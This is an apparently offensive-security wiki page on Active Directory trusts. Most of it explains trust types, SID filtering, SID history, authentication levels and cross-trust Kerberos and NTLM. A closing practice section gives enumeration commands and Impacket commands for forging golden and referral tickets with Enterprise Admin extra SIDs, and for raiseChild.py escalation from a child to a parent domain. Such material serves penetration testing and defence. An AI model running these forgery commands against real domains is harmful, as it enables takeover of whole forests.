Infiltr8ForumGitHub

Trusts

This is a work-in-progress. It's indicated with the 🛠️ emoji in the page name or in the category name

Theory

Definitions

An Active Directory domain is a logical grouping of objects (such as users, computers, and devices) that share a common directory database and security policies and that are all managed together

A forest is a collection of one or more Active Directory domains that share a common schema, configuration, and global catalog. The schema defines the kinds of objects that can be created within the forest, and the global catalog is a centralized database that contains a searchable, partial replica of every domain in the forest.

Active Directory Trusts allows different AD domains or forests to communicate and share resources. Trusts enable users in one domain to access resources in another without needing separate credentials.

A trust relationship allows users in one domain to authenticate to the other domain's resources, but it does not automatically grant access to them. Access to resources is controlled by permissions, which must be granted explicitly to the user in order for them to access the resources. Simply establishing a trust relationship does not automatically grant access to resources.

In order to access a "trusting" resource, a "trusted" user must have the appropriate permissions to that resource. These permissions can be granted by adding the user to a group that has access to the resource, or by giving the user explicit permissions to the resource.

Global Catalog

The global catalog is a partial copy of all objects in an Active Directory forest, meaning that some object properties (but not all) are contained within it. This data is replicated among all domain controllers marked as global catalogs for the forest. One of the Global Catalog's purposes is to facilitate quick object searching and conflict resolution without the necessity of referring to other domains (more information here).

The initial global catalog is generated on the first domain controller created in the first domain in the forest. The first domain controller for each new child domain is also set as a global catalog by default, but others can be added.

The GC allows both users and applications to find information about any objects in ANY domain in the forest. The Global Catalog performs the following functions:

  • Authentication (provided authorization for all groups that a user account belongs to, which is included when an access token is generated)

  • Object search (making the directory structure within a forest transparent, allowing a search to be carried out across all domains in a forest by providing just one attribute about an object.)

Trust types

The trustType attribute of a TDO specifies the type of trust that is established. Here are the different trust types (section 6.1.6.7.15 "trustType" of [MS-ADTS]):

  1. Downlevel: a trust with a domain that is running a version of Windows NT 4.0 or earlier.

  2. Uplevel: a trust with a domain that is running Windows 2000 or later.

  3. MIT: a trust with a non-Windows Kerberos realm, typically used for interoperability with UNIX-based systems running MIT Kerberos.

  4. DCE: not used in Windows. Would refer to trusts with a domain running DCE.

  5. AAD: the trusted domain is in Azure Active Directory.

Trust flavor

The trust "flavor", on the other hand, represents the nature of the trust relationship between domains or forests. It is not a direct attribute but is identified based on other TDO attributes (see "How Domain and Forest Trusts Work > Trust Types").

  1. Parent-Child: this type of trust relationship exists between a parent domain and a child domain in the same forest. The parent domain trusts the child domain, and the child domain trusts the parent domain. This type of trust is automatically created when a new child domain is created in a forest.

  2. Tree-Root: exists between the root domain of a tree and the root domain of another tree in the same forest. This type of trust is automatically created when a new tree is created in a forest.

  3. Shortcut (a.k.a. cross-link): exists between two child domains of different tree (i.e. different parent domains) within the same forest. This type of trust relationship is used to reduce the number of authentication hops between distant domains. It is a one-way or two-way transitive trust.

  4. External: exists between a domain in one forest and a domain in a different forest. It allows users in one domain to access resources in the other domain. It's usually set up when accessing resources in a forest without trust relationships established.

  5. Forest: exists between two forests (i.e. between two root domains in their respective forest). It allows users in one forest to access resources in the other forest.

  6. Realm: exists between a Windows domain and a non-Windows domain, such as a Kerberos realm. It allows users in the Windows domain to access resources in the non-Windows domain.

Trust type
Transitivity
Direction
Auth. mechanisms
Creation mode

Parent-Child

Transitive

Two-way

Either

Automatic

Tree-Root

Transitive

Two-way

Either

Automatic

Shortcut (a.k.a. cross-link)

Transitive

Either

Either

Manual

Realm

Either

Either

Kerberos V5 only

Manual

Forest

Transitive

Either

Either

Manual

External

Non-transitive

One-way

NTLM only

Manual

Transitivity

In Active Directory, a transitive trust is a type of trust relationship that allows access to resources to be passed from one domain to another. When a transitive trust is established between two domains, any trusts that have been established with the first domain are automatically extended to the second domain. This means that if Domain A trusts Domain B and Domain B trusts Domain C, then Domain A automatically trusts Domain C, even if there is no direct trust relationship between Domain A and Domain C. Transitive trusts are useful in large, complex networks where multiple trust relationships have been established between many different domains. They help to simplify the process of accessing resources and reduce the number of authentication hops that may be required.

The transitivity status of a trust depends on the trustAttributes flags of a TDO.

  • If the TRUST_ATTRIBUTE_NON_TRANSITIVE (0x00000001) flag is set then the transitivity is disabled.

  • If the TRUST_ATTRIBUTE_WITHIN_FOREST (0x00000020) flag is set then the transitivity is enabled.

  • If the TRUST_ATTRIBUTE_FOREST_TRANSITIVE (0x00000008) flag is set then the transitivity is enabled.

In any other case the transitivity is disabled.

(by Carsten Sandker on www.securesystems.de)

SID filtering

According to Microsoft, the security boundary in Active Directory is the forest, not the domain. The forest defines the boundaries of trust and controls access to resources within the forest.

The domain is a unit within a forest and represents a logical grouping of users, computers, and other resources. Users within a domain can access resources within their own domain and can also access resources in other domains within the same forest, as long as they have the appropriate permissions. Users cannot access resources in other forests unless a trust relationship has been established between the forests.

SID filtering plays an important role in the security boundary by making sure "only SIDs from the trusted domain will be accepted for authorization data returned during authentication. SIDs from other domains will be removed" (netdom cmdlet output). By default, SID filtering is disabled for intra-forest trusts, and enabled for inter-forest trusts.

Default configurations (source: securesystems.de)

Custom configurations (source: securesystems.de)

Section 4.1.2.2 of [MS-PAC] specifies what is filtered and when. There are three important things to remember from this documentation:

[MS-PAC] section 4.1.2.2

The SID filtering status of a trust depends on the trustAttributes flags of a TDO as well as the type of trust.

  • If the TRUST_ATTRIBUTE_QUARANTINED_DOMAIN (0x00000004) flag is set, then only SIDs from the trusted domain are allowed (all others are filtered

(by Carsten Sandker on www.securesystems.de)

  • If the TRUST_ATTRIBUTE_TREAT_AS_EXTERNAL (0x00000040) flag is set, then inter-forest ticket can be forged, spoofing an RID >= 1000. Of course, this doesn't apply if TAQD (TRUST_ATTRIBUTE_QUARANTINED_DOMAIN) is set.

(sources: section 6.1.6.7.9 of [MS-ADTS], and section 4.1.2.2 of [MS-PAC]).

Above are some key, usually valid, elements. But as Carsten Sandker puts it: "the logic that sits behind this might be too complex to put it in text". To really know the behavior of SID filtering for a trust, refer to the lookup tables here (for default trusts setups) and there (for custom configs).

SID filtering is not unique to trusts. It occurs "whenever a service ticket is accepted" either by the KDC or by a local service and behaves differently depending on the contect in which the ticket was produced.

Also, SID filtering works the same way for NTLM and Kerberos. It's a separate mechanism invoked after user logon info are unpacked (more details in NTLM and Kerberos chapters).

SID history

The SID (Security Identifier) is a unique identifier that is assigned to each security principal (e.g. user, group, computer). It is used to identify the principal within the domain and is used to control access to resources.

The SID history is a property of a user or group object that allows the object to retain its SID when it is migrated from one domain to another as part of a domain consolidation or restructuring. When an object is migrated to a new domain, it is assigned a new SID in the target domain. The SID history allows the object to retain its original SID, so that access to resources in the source domain is not lost.

Many resources across the Internet, including Microsoft's docs and tools, state that SID history can be enabled across a trust. This is not 100% true. SID history is not a feature that can be toggled on or off per say.

When authenticating across trusts using Kerberos, it is assumed that the extra SID field of the ticket's PAC (Privileged Attribute Certificate) reflects the SID history attribute of the authenticating user. With SID filtering enabled in a trust, the SIDs contained in that field are filtered, effectively preventing SID history from doing its job. There are certain scenarios where some SIDs are not filtered, allowing for example SIDs with a RID >= 1000. Some, including Microsoft, call it "enabling SID history", but in fact, SID history is not toggled on or off here, it's the behavior of SID filtering that is adjusted. I'd call that "partial SID filtering", or "unencumbered SID history". Dirk-jan Mollema calls that "SID filtering relaxation".

When authenticating with NTLM, the process is highly similar, see the NTLM authentication theory chapter for more information.

Authentication level

Inter-forest trusts ("External" and "Forest" trusts) can be configured with different levels of authentication:

  • Forest-wide authentication: allows unrestricted authentication from the trusted forest's principals to the trusting forest's resources. This is the least secure level, it completely opens one forest to another (authentication-wise though, not access-wise). This level is specific to intra-forest trusts.

  • Domain-wide authentication: allows unrestricted authentication from the trusted domain's principals to the trusting domain's resources. This is more secure than forest-wide authentication because it only allows users in a specific (trusted) domain to access resources in another (trusting).

  • Selective authentication: allows only specific users in the trusted domain to access resources in the trusting domain. This is the most secure type of trust because it allows administrators to tightly control access to resources in the trusted domain. In order to allow a "trusted user" to access a "trusting resource", the resource's DACL must include an ACE in which the trusted user has the "Allowed-To-Authenticate" extended right (GUID: 68b1d179-0d15-4d4f-ab71-46152e79a7bc).

It's worth noting that selective authentication is less used by the general public due to its complexity, but it's definitely the most restrictive, hence secure, choice.

The authentication level of a trust depends on the trustAttributes flags of a TDO.

  • If the trust relationship is made within a forest boundary (aka if the TRUST_ATTRIBUTE_WITHIN_FOREST (0x00000020) flag is set), then Forest-Wide Authentication will always be used.

  • f the trust relationship crosses a forest boundary and the TRUST_ATTRIBUTE_CROSS_ORGANIZATION (0x00000010) flag is set then Selective Authentication is used.

  • If the trust relationship crosses a forest boundary, but the trust is marked as transitive (aka if the TRUST_ATTRIBUTE_FOREST_TRANSITIVE (0x00000008) flag is set), then Forest-Wide Authentication will be used.

In any other case Domain-Wide Authentication is used.

Interesting to note: Trusts within a Forest always use Forest-Wide Authentication (and this can not be disabled).

(by Carsten Sandker on www.securesystems.de)

TGT delegation

Kerberos unconstrained delegation (KUD) allows a service configured for it to impersonate (almost) any user on any other service. This is a dangerous feature to configure, that won't be explained into many details here as the Kerberos, Kerberos delegations and Kerberos unconstrained delegations pages already cover it.

Kerberos unconstrained delegations could be abused across trusts to take control over any resource of the trusting domain, including the domain controller, as long as the trusted domain is compromised. This relies on the delegation of TGT across trusts, which can be disabled.

If TGT delegation is disabled in a trust, attackers won't be able to escalate from one domain to another by abusing unconstrained delegation. On a side note, the other types of delegations are not affected by this as they don't rely on the delegation of tickets, but on S4U extensions instead.

The TGT delegation status of a trust depends on the trustAttributes flags of a TDO.

  • If the TRUST_ATTRIBUTE_CROSS_ORGANIZATION_NO_TGT_DELEGATION (0x00000200) flag is set, then TGT Delegation is disabled.

  • If the TRUST_ATTRIBUTE_QUARANTINED_DOMAIN (0x00000004) flag is set, then TGT Delegation is disabled.

  • If the TRUST_ATTRIBUTE_CROSS_ORGANIZATION_ENABLE_TGT_DELEGATION (0x00000800)flag is set, then TGT Delegation is enabled.

  • If the TRUST_ATTRIBUTE_WITHIN_FOREST (0x00000020) flag is set, then TGT Delegation is enabled.

(by Carsten Sandker on www.securesystems.de)

Kerberos authentication

Understanding how Kerberos works is required here: the Kerberos protocol.

For a Kerberos authentication to occur across a domain trust, the Kerberos key distribution centers (KDCs) in two domains must have a shared secret, called an inter-realm key. This key is derived from a shared password, and rotates approximately every 30 days. Parent-child domains share an inter-realm key implicitly.

When a user in domain A tries to authenticate or access a resource in domain B that he has established access to, he presents his ticket-granting-ticket (TGT) and request for a service ticket to the KDC for domain A. The KDC for A determines that the resource is not in its realm, and issues the user a referral ticket.

This referral ticket is a ticket-granting-ticket (TGT) encrypted with the inter-realm key shared by domain A and B. The user presents this referral ticket to the KDC for domain B, which decrypts it with the inter-realm key, checks if the user in the ticket has access to the requested resource, and issues a service ticket. This process is described in detail in Microsoft’s documentation in the Simple Cross-Realm Authentication and Examples section.

(by Will Schroeder on blog.harmj0y.net)

From an offensive point of view, just like a golden ticket, a referral ticket could be forged. Forging a referral ticket using the inter-realm key, instead of relying on the krbtgt keys for a golden ticket, is a nice alternative for organizations that choose to roll their krbtgt keys, as they should. This technique is a little bit trickier though, as it requires to use the correct key.

Depending on the trust characteristics, ticket forgery can also be combined with SID history spoofing for a direct privilege escalation from a child to a parent domain.

When doing Kerberos authentications across trusts, the trusting domain's domain controller checks a few things before handing out service tickets to trusted users: SID filtering during PAC validation (looking in the ExtraSids attribute from the KERB_VALIDATION_INFO structure in the PAC), TGT delegation verification (when asked for a Service Ticket for a service configured for unconstrained delegation), and Selective Authentication limitation.

NTLM authentication

In an NTLM authentication sequence, a user authenticates to a resource by sending an NTLM Negotiate message, receiving an NTLM Challenge, and then sending back an NTLM Authenticate. The server then passes the logon request through to the Domain Controller, using the Netlogon Remote Protocol.

This mechanism of delegating the authentication request to a DC is called pass-through authentication.

Upon successful validation of the user credentials on the DC, the Netlogon Remote Protocol delivers the user authorization attributes (referred to as user validation information) back to the server over the secure channel.

(Microsoft.com)

When using NTLM across trust relationships, the process is very similar.

When a trusted domain's user wants to access a resource from a trusting domain, the user and the resource engage in the standard 3-way NTLM handshake. Upon receiving the NTLM Authenticate message, the resource forwards it to its own domain controller through a Netlogon "workstation secure channel". The trusting DC forwards it as well to the trusted domain's DC through a Netlogon "trusted domain secure channel".

The trusted domain's DC does the usual checks and passes the result to the trusting DC, which in turn passes it to the resource. The resource then accepts or rejects the authentication based on the decision passed through the DCs.

When doing NTLM authentications across trusts, the trusting domain's domain controller checks a few things from the user info structure supplied by the trusted domain controller: SID filtering (looking in the ExtraSids attribute from the NETLOGON_VALIDATION_SAM_INFO2 structure), and Selective Authentication limitation during the DC's validation of the user credentials. TGT delegation verification doesn't occur here, since it's a Kerberos mechanism.

Nota bene, wether it's Kerberos or NTLM, the ExtraSids are in the same data structure, it's just named differently for each protocol. And, the SID filtering function called by the trusting DC is the same, for both authentication protocols.

Practice

Enumeration

From UNIX-like systems, tools like NetExec (Python), ldapsearch (C) , BloodyAd (Python) can be used to enumerate trusts.

# ldapsearch
ldapsearch -h ldap://<DC_IP> -b "CN=SYSTEM,DC=$DOMAIN" "(objectclass=trustedDomain)"

# NetExec
nxc ldap <DC_IP> -u <USER>-p <PASSWORD> -M enum_trusts

# Transitive trusts resolution using BloodyAD
python bloodyAD.py -d <DOMAIN> <USER>-p <PASSWORD> --host <DC_IP> get trusts --transitive-trust --dns <DNS_IP>

Forging Tickets

When forging a referral ticket, or a golden ticket, additional security identifiers (SIDs) can be added as "extra SID" and be considered as part of the user's SID history when authenticating.

From UNIX-like systems, Impacket scripts (Python) can be used for that purpose.

  • ticketer.py to forge tickets

  • getST.py to request service tickets

  • lookupsid.py to retrieve the domains' SIDs

If SID filtering is disabled, set the RID to 519 to act as Enterprise Admin.

If SID filtering is partially enabled, set the RID >=1000.

Referral ticket

# 1. forge the ticket
ticketer.py -nthash "inter-realm key" -domain-sid "child_domain_SID" -domain "child_domain_FQDN" -extra-sid "<root_domain_SID>-<RID>" -spn "krbtgt/root_domain_fqdn" "someusername"

# 2. use it to request a service ticket
KRB5CCNAME="someusername.ccache" getST.py -k -no-pass -debug -spn "CIFS/domain_controller" "root_domain_fqdn/someusername@root_domain_fqdn"
ticketer.py -nthash "child_domain_krbtgt_NT_hash" -domain-sid "child_domain_SID" -domain "child_domain_FQDN" -extra-sid "-" "someusername"

Golden ticket

# 1. forge the ticket
ticketer.py -nthash "child_domain_krbtgt_NT_hash" -domain-sid "child_domain_SID" -domain "child_domain_FQDN" -extra-sid "<root_domain_SID>-<RID>" "someusername"

Impacket's raiseChild.py script can also be used to conduct the golden ticket technique automatically when SID filtering is disabled (retrieving the SIDs, dumping the trusted domain's krbtgt, forging the ticket, dumping the forest root keys, etc.). It will forge a ticket with the Enterprise Admins extra SID.

raiseChild.py "child_domain"/"child_domain_admin":"$PASSWORD"

Resources

Last updated

Was this helpful?